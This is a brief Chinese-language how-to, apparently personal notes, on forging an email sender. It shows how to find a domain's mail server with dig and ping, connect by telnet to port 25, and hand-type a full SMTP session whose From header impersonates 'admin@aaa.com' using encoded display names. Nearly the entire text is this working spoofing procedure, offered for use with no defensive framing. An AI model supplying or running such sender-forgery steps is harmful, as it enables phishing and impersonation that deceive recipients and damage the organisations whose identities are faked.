发件人伪造

dig解析mx

https://www.diggui.com/ 

获取到邮件服务域名

ping邮件服务域名 获取到邮件服务器ip

 

telnet ip 25

HELO xxx.com
MAIL FROM:<xxx@aaa.com>
RCPT TO:<qxxx@aaa.com>
DATA
Content-Type: multipart/mixed; boundary="===============3586851999266838987=="
MIME-Version: 1.0
From: =?utf-8?b?5Za1?=<admin@aaa.com>
To: =?utf-8?b?5bCP54u454yr?=<xxx@aaa.com>
Subject: Test Mail

--===============3586851999266838987==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

This is a test mail.
--===============3586851999266838987==--

.

QUIT

　　一行一行回车